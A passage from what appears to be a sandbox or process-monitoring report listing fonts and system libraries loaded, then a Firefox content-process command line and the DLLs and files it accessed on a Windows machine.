        C:\WINDOWS\FONTS\ARIAL.TTF
        C:\WINDOWS\FONTS\ARIALI.TTF
        C:\WINDOWS\FONTS\ARIALBD.TTF
        C:\WINDOWS\FONTS\ARIALBI.TTF
        C:\WINDOWS\FONTS\BATANG.TTC
        C:\WINDOWS\FONTS\COUR.TTF
        C:\WINDOWS\FONTS\COURI.TTF
        C:\WINDOWS\FONTS\COURBD.TTF
        C:\WINDOWS\FONTS\COURBI.TTF
        C:\WINDOWS\FONTS\DAUNPENH.TTF
        C:\WINDOWS\FONTS\DOKCHAMP.TTF
        C:\WINDOWS\FONTS\ESTRE.TTF
        C:\WINDOWS\FONTS\EUPHEMIA.TTF
        C:\WINDOWS\FONTS\GAUTAMI.TTF
        C:\WINDOWS\FONTS\GAUTAMIB.TTF
        C:\WINDOWS\FONTS\VANI.TTF
        C:\WINDOWS\FONTS\VANIB.TTF
        C:\WINDOWS\FONTS\GULIM.TTC
        C:\WINDOWS\FONTS\IMPACT.TTF
        C:\WINDOWS\FONTS\ISKPOTA.TTF
        C:\WINDOWS\FONTS\ISKPOTAB.TTF
        C:\WINDOWS\FONTS\KALINGA.TTF
        C:\WINDOWS\FONTS\KALINGAB.TTF
        C:\WINDOWS\FONTS\KARTIKA.TTF
        C:\WINDOWS\FONTS\KARTIKAB.TTF
        C:\WINDOWS\FONTS\KHMERUI.TTF
        C:\WINDOWS\FONTS\KHMERUIB.TTF
        C:\WINDOWS\FONTS\LAOUI.TTF
        C:\WINDOWS\FONTS\LAOUIB.TTF
        C:\WINDOWS\FONTS\LATHA.TTF
        C:\WINDOWS\FONTS\LATHAB.TTF
        C:\WINDOWS\FONTS\LUCON.TTF
        C:\WINDOWS\FONTS\MALGUN.TTF
        C:\WINDOWS\FONTS\MALGUNBD.TTF
        C:\WINDOWS\FONTS\MANGAL.TTF
        C:\WINDOWS\FONTS\MANGALB.TTF
        C:\WINDOWS\FONTS\MEIRYO.TTC
        C:\WINDOWS\FONTS\MEIRYOB.TTC
        C:\WINDOWS\FONTS\HIMALAYA.TTF
        C:\WINDOWS\FONTS\MSJH.TTF
        C:\WINDOWS\FONTS\MSJHBD.TTF
        C:\WINDOWS\FONTS\MSYH.TTF
        C:\WINDOWS\FONTS\MSYHBD.TTF
        C:\WINDOWS\FONTS\MINGLIU.TTC
        C:\WINDOWS\FONTS\MINGLIUB.TTC
        C:\WINDOWS\FONTS\MONBAITI.TTF
        C:\WINDOWS\FONTS\MSGOTHIC.TTC
        C:\WINDOWS\FONTS\MSMINCHO.TTC
        C:\WINDOWS\FONTS\MVBOLI.TTF
        C:\WINDOWS\FONTS\NTAILU.TTF
        C:\WINDOWS\FONTS\NTAILUB.TTF
        C:\WINDOWS\FONTS\NYALA.TTF
        C:\WINDOWS\FONTS\PHAGSPA.TTF
        C:\WINDOWS\FONTS\PHAGSPAB.TTF
        C:\WINDOWS\FONTS\PLANTC.TTF
        C:\WINDOWS\FONTS\RAAVI.TTF
        C:\WINDOWS\FONTS\RAAVIB.TTF
        C:\WINDOWS\FONTS\SEGOESC.TTF
        C:\WINDOWS\FONTS\SEGOESCB.TTF
        C:\WINDOWS\FONTS\SEGOEUI.TTF
        C:\WINDOWS\FONTS\SEGOEUIB.TTF
        C:\WINDOWS\FONTS\SEGOEUII.TTF
        C:\WINDOWS\FONTS\SEGOEUIZ.TTF
        C:\WINDOWS\FONTS\SEGUISB.TTF
        C:\WINDOWS\FONTS\SEGOEUIL.TTF
        C:\WINDOWS\FONTS\SEGUISYM.TTF
        C:\WINDOWS\FONTS\SHRUTI.TTF
        C:\WINDOWS\FONTS\SHRUTIB.TTF
        C:\WINDOWS\FONTS\SIMSUN.TTC
        C:\WINDOWS\FONTS\SIMSUNB.TTF
        C:\WINDOWS\FONTS\SYLFAEN.TTF
        C:\WINDOWS\FONTS\TAILE.TTF
        C:\WINDOWS\FONTS\TAILEB.TTF
        C:\WINDOWS\FONTS\TIMES.TTF
        C:\WINDOWS\FONTS\TIMESI.TTF
        C:\WINDOWS\FONTS\TIMESBD.TTF
        C:\WINDOWS\FONTS\TIMESBI.TTF
        C:\WINDOWS\FONTS\TUNGA.TTF
        C:\WINDOWS\FONTS\TUNGAB.TTF
        C:\WINDOWS\FONTS\VRINDA.TTF
        C:\WINDOWS\FONTS\VRINDAB.TTF
        C:\WINDOWS\FONTS\SHONAR.TTF
        C:\WINDOWS\FONTS\SHONARB.TTF
        C:\WINDOWS\FONTS\MSYI.TTF
        C:\WINDOWS\FONTS\TAHOMA.TTF
        C:\WINDOWS\FONTS\TAHOMABD.TTF
        C:\WINDOWS\FONTS\MICROSS.TTF
        C:\WINDOWS\FONTS\ANGSA.TTF
        C:\WINDOWS\FONTS\ANGSAI.TTF
        C:\WINDOWS\FONTS\ANGSAB.TTF
        C:\WINDOWS\FONTS\ANGSAZ.TTF
        C:\WINDOWS\FONTS\APARAJ.TTF
        C:\WINDOWS\FONTS\APARAJB.TTF
        C:\WINDOWS\FONTS\APARAJBI.TTF
        C:\WINDOWS\FONTS\APARAJI.TTF
        C:\WINDOWS\FONTS\CORDIA.TTF
        C:\WINDOWS\FONTS\CORDIAI.TTF
        C:\WINDOWS\FONTS\CORDIAB.TTF
        C:\WINDOWS\FONTS\CORDIAZ.TTF
        C:\WINDOWS\FONTS\EBRIMA.TTF
        C:\WINDOWS\FONTS\EBRIMABD.TTF
        C:\WINDOWS\FONTS\GISHA.TTF
        C:\WINDOWS\FONTS\GISHABD.TTF
        C:\WINDOWS\FONTS\KOKILA.TTF
        C:\WINDOWS\FONTS\KOKILAB.TTF
        C:\WINDOWS\FONTS\KOKILABI.TTF
        C:\WINDOWS\FONTS\KOKILAI.TTF
        C:\WINDOWS\FONTS\LEELAWAD.TTF
        C:\WINDOWS\FONTS\LEELAWDB.TTF
        C:\WINDOWS\FONTS\MSUIGHUR.TTF
        C:\WINDOWS\FONTS\MOOLBOR.TTF
        C:\WINDOWS\FONTS\SYMBOL.TTF
        C:\WINDOWS\FONTS\UTSAAH.TTF
        C:\WINDOWS\FONTS\UTSAAHB.TTF
        C:\WINDOWS\FONTS\UTSAAHBI.TTF
        C:\WINDOWS\FONTS\UTSAAHI.TTF
        C:\WINDOWS\FONTS\VIJAYA.TTF
        C:\WINDOWS\FONTS\VIJAYAB.TTF
        C:\WINDOWS\FONTS\WINGDING.TTF
        C:\WINDOWS\FONTS\MODERN.FON
        C:\WINDOWS\FONTS\ROMAN.FON
        C:\WINDOWS\FONTS\SCRIPT.FON
        C:\WINDOWS\FONTS\ANDLSO.TTF
        C:\WINDOWS\FONTS\ARABTYPE.TTF
        C:\WINDOWS\FONTS\SIMPO.TTF
        C:\WINDOWS\FONTS\SIMPBDO.TTF
        C:\WINDOWS\FONTS\SIMPFXO.TTF
        C:\WINDOWS\FONTS\MAJALLA.TTF
        C:\WINDOWS\FONTS\MAJALLAB.TTF
        C:\WINDOWS\FONTS\TRADO.TTF
        C:\WINDOWS\FONTS\TRADBDO.TTF
        C:\WINDOWS\FONTS\AHRONBD.TTF
        C:\WINDOWS\FONTS\DAVID.TTF
        C:\WINDOWS\FONTS\DAVIDBD.TTF
        C:\WINDOWS\FONTS\FRANK.TTF
        C:\WINDOWS\FONTS\LVNM.TTF
        C:\WINDOWS\FONTS\LVNMBD.TTF
        C:\WINDOWS\FONTS\MRIAM.TTF
        C:\WINDOWS\FONTS\MRIAMC.TTF
        C:\WINDOWS\FONTS\NRKIS.TTF
        C:\WINDOWS\FONTS\ROD.TTF
        C:\WINDOWS\FONTS\SIMFANG.TTF
        C:\WINDOWS\FONTS\SIMHEI.TTF
        C:\WINDOWS\FONTS\SIMKAI.TTF
        C:\WINDOWS\FONTS\ANGSAU.TTF
        C:\WINDOWS\FONTS\ANGSAUI.TTF
        C:\WINDOWS\FONTS\ANGSAUB.TTF
        C:\WINDOWS\FONTS\ANGSAUZ.TTF
        C:\WINDOWS\FONTS\BROWA.TTF
        C:\WINDOWS\FONTS\BROWAI.TTF
        C:\WINDOWS\FONTS\BROWAB.TTF
        C:\WINDOWS\FONTS\BROWAZ.TTF
        C:\WINDOWS\FONTS\BROWAU.TTF
        C:\WINDOWS\FONTS\BROWAUI.TTF
        C:\WINDOWS\FONTS\BROWAUB.TTF
        C:\WINDOWS\FONTS\BROWAUZ.TTF
        C:\WINDOWS\FONTS\CORDIAU.TTF
        C:\WINDOWS\FONTS\CORDIAUB.TTF
        C:\WINDOWS\FONTS\CORDIAUZ.TTF
        C:\WINDOWS\FONTS\CORDIAUI.TTF
        C:\WINDOWS\FONTS\UPCDL.TTF
        C:\WINDOWS\FONTS\UPCDI.TTF
        C:\WINDOWS\FONTS\UPCDB.TTF
        C:\WINDOWS\FONTS\UPCDBI.TTF
        C:\WINDOWS\FONTS\UPCEL.TTF
        C:\WINDOWS\FONTS\UPCEI.TTF
        C:\WINDOWS\FONTS\UPCEB.TTF
        C:\WINDOWS\FONTS\UPCEBI.TTF
        C:\WINDOWS\FONTS\UPCFL.TTF
        C:\WINDOWS\FONTS\UPCFI.TTF
        C:\WINDOWS\FONTS\UPCFB.TTF
        C:\WINDOWS\FONTS\UPCFBI.TTF
        C:\WINDOWS\FONTS\UPCIL.TTF
        C:\WINDOWS\FONTS\UPCII.TTF
        C:\WINDOWS\FONTS\UPCIB.TTF
        C:\WINDOWS\FONTS\UPCIBI.TTF
        C:\WINDOWS\FONTS\UPCJL.TTF
        C:\WINDOWS\FONTS\UPCJI.TTF
        C:\WINDOWS\FONTS\UPCJB.TTF
        C:\WINDOWS\FONTS\UPCJBI.TTF
        C:\WINDOWS\FONTS\UPCKL.TTF
        C:\WINDOWS\FONTS\UPCKI.TTF
        C:\WINDOWS\FONTS\UPCKB.TTF
        C:\WINDOWS\FONTS\UPCKBI.TTF
        C:\WINDOWS\FONTS\UPCLL.TTF
        C:\WINDOWS\FONTS\UPCLI.TTF
        C:\WINDOWS\FONTS\UPCLB.TTF
        C:\WINDOWS\FONTS\UPCLBI.TTF
        C:\WINDOWS\FONTS\KAIU.TTF
        C:\WINDOWS\FONTS\L_10646.TTF
        C:\WINDOWS\FONTS\ARIBLK.TTF
        C:\WINDOWS\FONTS\CALIBRI.TTF
        C:\WINDOWS\FONTS\CALIBRII.TTF
        C:\WINDOWS\FONTS\CALIBRIB.TTF
        C:\WINDOWS\FONTS\CALIBRIZ.TTF
        C:\WINDOWS\FONTS\CAMBRIA.TTC
        C:\WINDOWS\FONTS\CAMBRIAI.TTF
        C:\WINDOWS\FONTS\CAMBRIAB.TTF
        C:\WINDOWS\FONTS\CAMBRIAZ.TTF
        C:\WINDOWS\FONTS\CANDARA.TTF
        C:\WINDOWS\FONTS\CANDARAI.TTF
        C:\WINDOWS\FONTS\CANDARAB.TTF
        C:\WINDOWS\FONTS\CANDARAZ.TTF
        C:\WINDOWS\FONTS\COMIC.TTF
        C:\WINDOWS\FONTS\COMICBD.TTF
        C:\WINDOWS\FONTS\CONSOLA.TTF
        C:\WINDOWS\FONTS\CONSOLAI.TTF
        C:\WINDOWS\FONTS\CONSOLAB.TTF
        C:\WINDOWS\FONTS\CONSOLAZ.TTF
        C:\WINDOWS\FONTS\CONSTAN.TTF
        C:\WINDOWS\FONTS\CONSTANI.TTF
        C:\WINDOWS\FONTS\CONSTANB.TTF
        C:\WINDOWS\FONTS\CONSTANZ.TTF
        C:\WINDOWS\FONTS\CORBEL.TTF
        C:\WINDOWS\FONTS\CORBELI.TTF
        C:\WINDOWS\FONTS\CORBELB.TTF
        C:\WINDOWS\FONTS\CORBELZ.TTF
        C:\WINDOWS\FONTS\FRAMD.TTF
        C:\WINDOWS\FONTS\FRAMDIT.TTF
        C:\WINDOWS\FONTS\GABRIOLA.TTF
        C:\WINDOWS\FONTS\GEORGIA.TTF
        C:\WINDOWS\FONTS\GEORGIAI.TTF
        C:\WINDOWS\FONTS\GEORGIAB.TTF
        C:\WINDOWS\FONTS\GEORGIAZ.TTF
        C:\WINDOWS\FONTS\PALA.TTF
        C:\WINDOWS\FONTS\PALAI.TTF
        C:\WINDOWS\FONTS\PALAB.TTF
        C:\WINDOWS\FONTS\PALABI.TTF
        C:\WINDOWS\FONTS\SEGOEPR.TTF
        C:\WINDOWS\FONTS\SEGOEPRB.TTF
        C:\WINDOWS\FONTS\TREBUC.TTF
        C:\WINDOWS\FONTS\TREBUCIT.TTF
        C:\WINDOWS\FONTS\TREBUCBD.TTF
        C:\WINDOWS\FONTS\TREBUCBI.TTF
        C:\WINDOWS\FONTS\VERDANA.TTF
        C:\WINDOWS\FONTS\VERDANAI.TTF
        C:\WINDOWS\FONTS\VERDANAB.TTF
        C:\WINDOWS\FONTS\VERDANAZ.TTF
        C:\WINDOWS\FONTS\WEBDINGS.TTF
        C:\WINDOWS\FONTS\COURE.FON
        C:\WINDOWS\FONTS\SERIFE.FON
        C:\WINDOWS\FONTS\SSERIFE.FON
        C:\WINDOWS\FONTS\SMALLE.FON
        C:\WINDOWS\FONTS\SMALLF.FON
        C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\EQUATION\MTEXTRA.TTF
        C:\WINDOWS\FONTS\ARIALUNI.TTF
        C:\WINDOWS\FONTS\CENTURY.TTF
        C:\WINDOWS\FONTS\WINGDNG2.TTF
        C:\WINDOWS\FONTS\WINGDNG3.TTF
        C:\WINDOWS\FONTS\ALGER.TTF
        C:\WINDOWS\FONTS\BASKVILL.TTF
        C:\WINDOWS\FONTS\BAUHS93.TTF
        C:\WINDOWS\FONTS\BELL.TTF
        C:\WINDOWS\FONTS\BRLNSB.TTF
        C:\WINDOWS\FONTS\BERNHC.TTF
        C:\WINDOWS\FONTS\BOD_PSTC.TTF
        C:\WINDOWS\FONTS\BRITANIC.TTF
        C:\WINDOWS\FONTS\BROADW.TTF
        C:\WINDOWS\FONTS\BRUSHSCI.TTF
        C:\WINDOWS\FONTS\CALIFR.TTF
        C:\WINDOWS\FONTS\CENTAUR.TTF
        C:\WINDOWS\FONTS\GOTHIC.TTF
        C:\WINDOWS\FONTS\CHILLER.TTF
        C:\WINDOWS\FONTS\COLONNA.TTF
        C:\WINDOWS\FONTS\COOPBL.TTF
        C:\WINDOWS\FONTS\FTLTLT.TTF
        C:\WINDOWS\FONTS\FREESCPT.TTF
        C:\WINDOWS\FONTS\HARLOWSI.TTF
        C:\WINDOWS\FONTS\HARNGTON.TTF
        C:\WINDOWS\FONTS\HTOWERT.TTF
        C:\WINDOWS\FONTS\JOKERMAN.TTF
        C:\WINDOWS\FONTS\JUICE___.TTF
        C:\WINDOWS\FONTS\ITCKRIST.TTF
        C:\WINDOWS\FONTS\KUNSTLER.TTF
        C:\WINDOWS\FONTS\LBRITE.TTF
        C:\WINDOWS\FONTS\LCALLIG.TTF
        C:\WINDOWS\FONTS\LFAX.TTF
        C:\WINDOWS\FONTS\LHANDW.TTF
        C:\WINDOWS\FONTS\MAGNETOB.TTF
        C:\WINDOWS\FONTS\MATURASC.TTF
        C:\WINDOWS\FONTS\MISTRAL.TTF
        C:\WINDOWS\FONTS\MOD20.TTF
        C:\WINDOWS\FONTS\MTCORSVA.TTF
        C:\WINDOWS\FONTS\NIAGENG.TTF
        C:\WINDOWS\FONTS\NIAGSOL.TTF
        C:\WINDOWS\FONTS\OLDENGL.TTF
        C:\WINDOWS\FONTS\ONYX.TTF
        C:\WINDOWS\FONTS\PARCHM.TTF
        C:\WINDOWS\FONTS\PLAYBILL.TTF
        C:\WINDOWS\FONTS\POORICH.TTF
        C:\WINDOWS\FONTS\RAVIE.TTF
        C:\WINDOWS\FONTS\INFROMAN.TTF
        C:\WINDOWS\FONTS\SHOWG.TTF
        C:\WINDOWS\FONTS\SNAP____.TTF
        C:\WINDOWS\FONTS\STENCIL.TTF
        C:\WINDOWS\FONTS\TEMPSITC.TTF
        C:\WINDOWS\FONTS\VINERITC.TTF
        C:\WINDOWS\FONTS\VIVALDII.TTF
        C:\WINDOWS\FONTS\VLADIMIR.TTF
        C:\WINDOWS\FONTS\LATINWD.TTF
        C:\WINDOWS\FONTS\TCM_____.TTF
        C:\WINDOWS\FONTS\TCCB____.TTF
        C:\WINDOWS\FONTS\TCCM____.TTF
        C:\WINDOWS\FONTS\TCB_____.TTF
        C:\WINDOWS\FONTS\SCRIPTBL.TTF
        C:\WINDOWS\FONTS\ROCKEB.TTF
        C:\WINDOWS\FONTS\ROCC____.TTF
        C:\WINDOWS\FONTS\ROCK.TTF
        C:\WINDOWS\FONTS\RAGE.TTF
        C:\WINDOWS\FONTS\PRISTINA.TTF
        C:\WINDOWS\FONTS\PERTIBD.TTF
        C:\WINDOWS\FONTS\PER_____.TTF
        C:\WINDOWS\FONTS\PAPYRUS.TTF
        C:\WINDOWS\FONTS\PALSCRI.TTF
        C:\WINDOWS\FONTS\OCRAEXT.TTF
        C:\WINDOWS\FONTS\MAIAN.TTF
        C:\WINDOWS\FONTS\LTYPE.TTF
        C:\WINDOWS\FONTS\LSANS.TTF
        C:\WINDOWS\FONTS\IMPRISHA.TTF
        C:\WINDOWS\FONTS\HATTEN.TTF
        C:\WINDOWS\FONTS\GOUDYSTO.TTF
        C:\WINDOWS\FONTS\GOUDOS.TTF
        C:\WINDOWS\FONTS\GLECB.TTF
        C:\WINDOWS\FONTS\GILLUBCD.TTF
        C:\WINDOWS\FONTS\GILSANUB.TTF
        C:\WINDOWS\FONTS\GILC____.TTF
        C:\WINDOWS\FONTS\GIL_____.TTF
        C:\WINDOWS\FONTS\GLSNECB.TTF
        C:\WINDOWS\FONTS\GIGI.TTF
        C:\WINDOWS\FONTS\GARA.TTF
        C:\WINDOWS\FONTS\FRSCRIPT.TTF
        C:\WINDOWS\FONTS\FRAMDCN.TTF
        C:\WINDOWS\FONTS\FRAHV.TTF
        C:\WINDOWS\FONTS\FRADMCN.TTF
        C:\WINDOWS\FONTS\FRADM.TTF
        C:\WINDOWS\FONTS\FRABK.TTF
        C:\WINDOWS\FONTS\FORTE.TTF
        C:\WINDOWS\FONTS\FELIXTI.TTF
        C:\WINDOWS\FONTS\ERASMD.TTF
        C:\WINDOWS\FONTS\ERASLGHT.TTF
        C:\WINDOWS\FONTS\ERASDEMI.TTF
        C:\WINDOWS\FONTS\ERASBD.TTF
        C:\WINDOWS\FONTS\ENGR.TTF
        C:\WINDOWS\FONTS\ELEPHNT.TTF
        C:\WINDOWS\FONTS\ITCEDSCR.TTF
        C:\WINDOWS\FONTS\CURLZ___.TTF
        C:\WINDOWS\FONTS\COPRGTL.TTF
        C:\WINDOWS\FONTS\COPRGTB.TTF
        C:\WINDOWS\FONTS\CENSCBK.TTF
        C:\WINDOWS\FONTS\CASTELAR.TTF
        C:\WINDOWS\FONTS\CALIST.TTF
        C:\WINDOWS\FONTS\BRADHITC.TTF
        C:\WINDOWS\FONTS\BOOKOS.TTF
        C:\WINDOWS\FONTS\BKANT.TTF
        C:\WINDOWS\FONTS\BOD_CR.TTF
        C:\WINDOWS\FONTS\BOD_BLAR.TTF
        C:\WINDOWS\FONTS\BOD_R.TTF
        C:\WINDOWS\FONTS\ITCBLKAD.TTF
        C:\WINDOWS\FONTS\ARLRDBD.TTF
        C:\WINDOWS\FONTS\ARIALN.TTF
        C:\WINDOWS\FONTS\AGENCYB.TTF
        C:\WINDOWS\FONTS\OUTLOOK.TTF
        C:\WINDOWS\FONTS\BSSYM7.TTF
        C:\WINDOWS\FONTS\REFSAN.TTF
        C:\WINDOWS\FONTS\REFSPCL.TTF
        C:\WINDOWS\FONTS\BELLB.TTF
        C:\WINDOWS\FONTS\BELLI.TTF
        C:\WINDOWS\FONTS\BRLNSDB.TTF
        C:\WINDOWS\FONTS\BRLNSR.TTF
        C:\WINDOWS\FONTS\CALIFB.TTF
        C:\WINDOWS\FONTS\CALIFI.TTF
        C:\WINDOWS\FONTS\GOTHICB.TTF
        C:\WINDOWS\FONTS\GOTHICBI.TTF
        C:\WINDOWS\FONTS\GOTHICI.TTF
        C:\WINDOWS\FONTS\HTOWERTI.TTF
        C:\WINDOWS\FONTS\LBRITED.TTF
        C:\WINDOWS\FONTS\LBRITEDI.TTF
        C:\WINDOWS\FONTS\LBRITEI.TTF
        C:\WINDOWS\FONTS\LFAXD.TTF
        C:\WINDOWS\FONTS\LFAXDI.TTF
        C:\WINDOWS\FONTS\LFAXI.TTF
        C:\WINDOWS\FONTS\TCMI____.TTF
        C:\WINDOWS\FONTS\TCCEB.TTF
        C:\WINDOWS\FONTS\TCBI____.TTF
        C:\WINDOWS\FONTS\ROCCB___.TTF
        C:\WINDOWS\FONTS\ROCKB.TTF
        C:\WINDOWS\FONTS\ROCKBI.TTF
        C:\WINDOWS\FONTS\ROCKI.TTF
        C:\WINDOWS\FONTS\PERTILI.TTF
        C:\WINDOWS\FONTS\PERBI___.TTF
        C:\WINDOWS\FONTS\PERB____.TTF
        C:\WINDOWS\FONTS\PERI____.TTF
        C:\WINDOWS\FONTS\LTYPEB.TTF
        C:\WINDOWS\FONTS\LTYPEBO.TTF
        C:\WINDOWS\FONTS\LTYPEO.TTF
        C:\WINDOWS\FONTS\LSANSD.TTF
        C:\WINDOWS\FONTS\LSANSDI.TTF
        C:\WINDOWS\FONTS\LSANSI.TTF
        C:\WINDOWS\FONTS\GOUDOSB.TTF
        C:\WINDOWS\FONTS\GOUDOSI.TTF
        C:\WINDOWS\FONTS\GILBI___.TTF
        C:\WINDOWS\FONTS\GILB____.TTF
        C:\WINDOWS\FONTS\GILI____.TTF
        C:\WINDOWS\FONTS\GARABD.TTF
        C:\WINDOWS\FONTS\GARAIT.TTF
        C:\WINDOWS\FONTS\FRAHVIT.TTF
        C:\WINDOWS\FONTS\FRADMIT.TTF
        C:\WINDOWS\FONTS\FRABKIT.TTF
        C:\WINDOWS\FONTS\ELEPHNTI.TTF
        C:\WINDOWS\FONTS\SCHLBKB.TTF
        C:\WINDOWS\FONTS\SCHLBKBI.TTF
        C:\WINDOWS\FONTS\SCHLBKI.TTF
        C:\WINDOWS\FONTS\CALISTB.TTF
        C:\WINDOWS\FONTS\CALISTBI.TTF
        C:\WINDOWS\FONTS\CALISTI.TTF
        C:\WINDOWS\FONTS\BOOKOSB.TTF
        C:\WINDOWS\FONTS\BOOKOSBI.TTF
        C:\WINDOWS\FONTS\BOOKOSI.TTF
        C:\WINDOWS\FONTS\ANTQUAB.TTF
        C:\WINDOWS\FONTS\ANTQUABI.TTF
        C:\WINDOWS\FONTS\ANTQUAI.TTF
        C:\WINDOWS\FONTS\BOD_CB.TTF
        C:\WINDOWS\FONTS\BOD_CBI.TTF
        C:\WINDOWS\FONTS\BOD_CI.TTF
        C:\WINDOWS\FONTS\BOD_BLAI.TTF
        C:\WINDOWS\FONTS\BOD_B.TTF
        C:\WINDOWS\FONTS\BOD_BI.TTF
        C:\WINDOWS\FONTS\BOD_I.TTF
        C:\WINDOWS\FONTS\ARIALNB.TTF
        C:\WINDOWS\FONTS\ARIALNBI.TTF
        C:\WINDOWS\FONTS\ARIALNI.TTF
        C:\WINDOWS\FONTS\AGENCYR.TTF
        C:\WINDOWS\FONTS\MARLETT.TTF
        C:\PROGRAM FILES\MOZILLA FIREFOX\FONTS\TWEMOJIMOZILLA.TTF
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\WPC.DLL
        C:\WINDOWS\SYSTEM32\WEVTAPI.DLL
        C:\WINDOWS\SYSTEM32\SAMCLI.DLL
        C:\WINDOWS\SYSTEM32\SAMLIB.DLL
        C:\WINDOWS\SYSTEM32\NETUTILS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\SOFTOKN3.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FREEBL3.DLL
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        
        2960
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.13.1390390392\726721598" -CHILDID 2 -ISFORBROWSER -PREFSHANDLE 2648 -PREFMAPHANDLE 2644 -PREFSLEN 5506 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 2660 TAB
        
        Time lapse
        
        157.582132
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\OMNI.JA
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\OMNI.JA
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{70150699-0E81-4378-95FB-15FB40DBBB83}
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHQOS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
